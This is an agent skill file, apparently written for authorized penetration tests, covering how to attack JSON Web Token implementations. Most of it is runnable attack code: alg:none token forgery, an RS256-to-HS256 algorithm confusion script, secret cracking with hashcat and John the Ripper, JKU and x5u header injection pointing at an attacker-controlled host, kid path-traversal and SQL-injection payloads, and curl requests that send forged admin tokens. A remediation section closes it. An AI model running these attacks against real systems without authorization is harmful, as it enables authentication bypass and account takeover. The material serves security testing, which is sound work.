Agent skill

testing-jwt-token-security

Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.

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SKILL.md

Testing JWT Token Security

When to Use

  • During authorized penetration tests when the application uses JWT for authentication or authorization
  • When assessing API security where JWTs are passed as Bearer tokens or in cookies
  • For evaluating SSO implementations that use JWT/JWS/JWE tokens
  • When testing OAuth 2.0 or OpenID Connect flows that issue JWTs
  • During security audits of microservice architectures using JWT for inter-service authentication

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • jwt_tool: JWT attack toolkit (pip install jwt_tool or git clone https://github.com/ticarpi/jwt_tool.git)
  • Burp Suite Professional: With JSON Web Token extension from BApp Store
  • Python PyJWT: For scripting custom JWT attacks (pip install pyjwt)
  • Hashcat: For brute-forcing HMAC secrets (apt install hashcat)
  • jq: For JSON processing
  • Target JWT: A valid JWT token from the application

Workflow

Step 1: Decode and Analyze the JWT Structure

Extract and examine the header, payload, and signature components.

bash
# Decode JWT parts (base64url decode)
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

# Decode header
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq .
# Output: {"alg":"HS256","typ":"JWT"}

# Decode payload
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Output: {"sub":"1234567890","name":"John Doe","iat":1516239022}

# Using jwt_tool for comprehensive analysis
python3 jwt_tool.py "$JWT"

# Check for sensitive data in the payload:
# - PII (email, phone, address)
# - Internal IDs or database references
# - Role/permission claims
# - Expiration times (exp, nbf, iat)
# - Issuer (iss) and audience (aud)

Step 2: Test Algorithm None Attack

Attempt to forge tokens by setting the algorithm to "none".

bash
# jwt_tool algorithm none attack
python3 jwt_tool.py "$JWT" -X a

# Manual none algorithm attack
# Create header: {"alg":"none","typ":"JWT"}
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')

# Create modified payload (change role to admin)
PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_')

# Construct token with empty signature
FORGED_JWT="${HEADER}.${PAYLOAD}."
echo "Forged JWT: $FORGED_JWT"

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  "https://target.example.com/api/admin/users" | jq .

# Try variations: "None", "NONE", "nOnE"
for alg in none None NONE nOnE; do
  HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_')
  FORGED="${HEADER}.${PAYLOAD}."
  echo -n "alg=$alg: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $FORGED" \
    "https://target.example.com/api/admin/users"
  echo
done

Step 3: Test Algorithm Confusion (RS256 to HS256)

If the server uses RS256, try switching to HS256 and signing with the public key.

bash
# Step 1: Obtain the server's public key
# Check common locations
curl -s "https://target.example.com/.well-known/jwks.json" | jq .
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri
curl -s "https://target.example.com/oauth/certs" | jq .

# Step 2: Extract public key from JWKS
# Save the JWKS and convert to PEM format
# Use jwt_tool or openssl

# Step 3: jwt_tool key confusion attack
python3 jwt_tool.py "$JWT" -X k -pk public_key.pem

# Manual algorithm confusion attack with Python
python3 << 'PYEOF'
import jwt
import json

# Read the server's RSA public key
with open('public_key.pem', 'r') as f:
    public_key = f.read()

# Create forged payload
payload = {
    "sub": "1234567890",
    "name": "Admin User",
    "role": "admin",
    "iat": 1516239022,
    "exp": 9999999999
}

# Sign with HS256 using the RSA public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
print(f"Forged token: {forged_token}")
PYEOF

# Test the forged token
curl -s -H "Authorization: Bearer $FORGED_TOKEN" \
  "https://target.example.com/api/admin/users"

Step 4: Brute-Force HMAC Secret

If HS256 is used, attempt to crack the signing secret.

bash
# Using jwt_tool with common secrets
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

# Using hashcat for GPU-accelerated cracking
# Mode 16500 = JWT (HS256)
hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt

# Using john the ripper
echo "$JWT" > jwt_hash.txt
john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# If secret is found, forge arbitrary tokens
python3 << 'PYEOF'
import jwt

secret = "cracked_secret_here"
payload = {
    "sub": "1",
    "name": "Admin",
    "role": "admin",
    "exp": 9999999999
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Forged token: {token}")
PYEOF

Step 5: Test JWT Claim Manipulation and Injection

Modify JWT claims to escalate privileges or bypass authorization.

bash
# Using jwt_tool for claim tampering
# Change role claim
python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \
  -pc role -pv admin

# Test common claim attacks:

# 1. JKU (JWK Set URL) injection
python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json"
# Host attacker-controlled JWKS at the URL

# 2. KID (Key ID) injection
# SQL injection in kid parameter
python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# If kid is used in file path lookup, point to /dev/null (empty key)

# SQL injection via kid
python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret"

# 3. x5u (X.509 URL) injection
python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem"

# 4. Modify subject and role claims
python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \
  -pc sub -pv "admin@target.com" \
  -pc role -pv "superadmin"

Step 6: Test Token Lifetime and Revocation

Assess token expiration enforcement and revocation capabilities.

bash
# Test expired token acceptance
python3 << 'PYEOF'
import jwt
import time

secret = "known_secret"
# Create token that expired 1 hour ago
payload = {
    "sub": "user123",
    "role": "user",
    "exp": int(time.time()) - 3600,
    "iat": int(time.time()) - 7200
}
expired_token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Expired token: {expired_token}")
PYEOF

curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"

# Test token with far-future expiration
python3 << 'PYEOF'
import jwt

secret = "known_secret"
payload = {
    "sub": "user123",
    "role": "user",
    "exp": 32503680000  # Year 3000
}
long_lived = jwt.encode(payload, secret, algorithm='HS256')
print(f"Long-lived token: {long_lived}")
PYEOF

# Test token reuse after logout
# 1. Capture JWT before logout
# 2. Log out (call /auth/logout)
# 3. Try using the captured JWT again
curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \
  "https://target.example.com/api/profile" -w "%{http_code}"
# If 200, tokens are not revoked on logout

# Test token reuse after password change
# Similar test: capture JWT, change password, reuse old JWT

Key Concepts

Concept Description
Algorithm None Attack Removing signature verification by setting alg to none
Algorithm Confusion Switching from RS256 to HS256 and signing with the public key as HMAC secret
HMAC Brute Force Cracking weak HS256 signing secrets using wordlists or brute force
JKU/x5u Injection Pointing JWT header URLs to attacker-controlled key servers
KID Injection Exploiting SQL injection or path traversal in the Key ID header parameter
Claim Tampering Modifying payload claims (role, sub, permissions) after compromising the signing key
Token Revocation The ability (or inability) to invalidate tokens before their expiration
JWE vs JWS JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity)

Tools & Systems

Tool Purpose
jwt_tool Comprehensive JWT testing toolkit with automated attack modules
Burp JWT Editor Burp Suite extension for real-time JWT manipulation
Hashcat GPU-accelerated HMAC secret brute-forcing (mode 16500)
John the Ripper CPU-based JWT secret cracking
PyJWT Python library for programmatic JWT creation and manipulation
jwt.io Online JWT decoder for quick analysis (do not paste production tokens)

Common Scenarios

Scenario 1: Algorithm None Bypass

The JWT library accepts "alg":"none" tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.

Scenario 2: Weak HMAC Secret

The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.

Scenario 3: Algorithm Confusion on SSO

An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.

Scenario 4: KID SQL Injection

The kid header parameter is used in a SQL query to look up signing keys. Injecting ' UNION SELECT 'attacker_secret' -- allows the attacker to control the signing key.

Output Format

## JWT Security Finding

**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures

### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |

### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |

### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)

### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets

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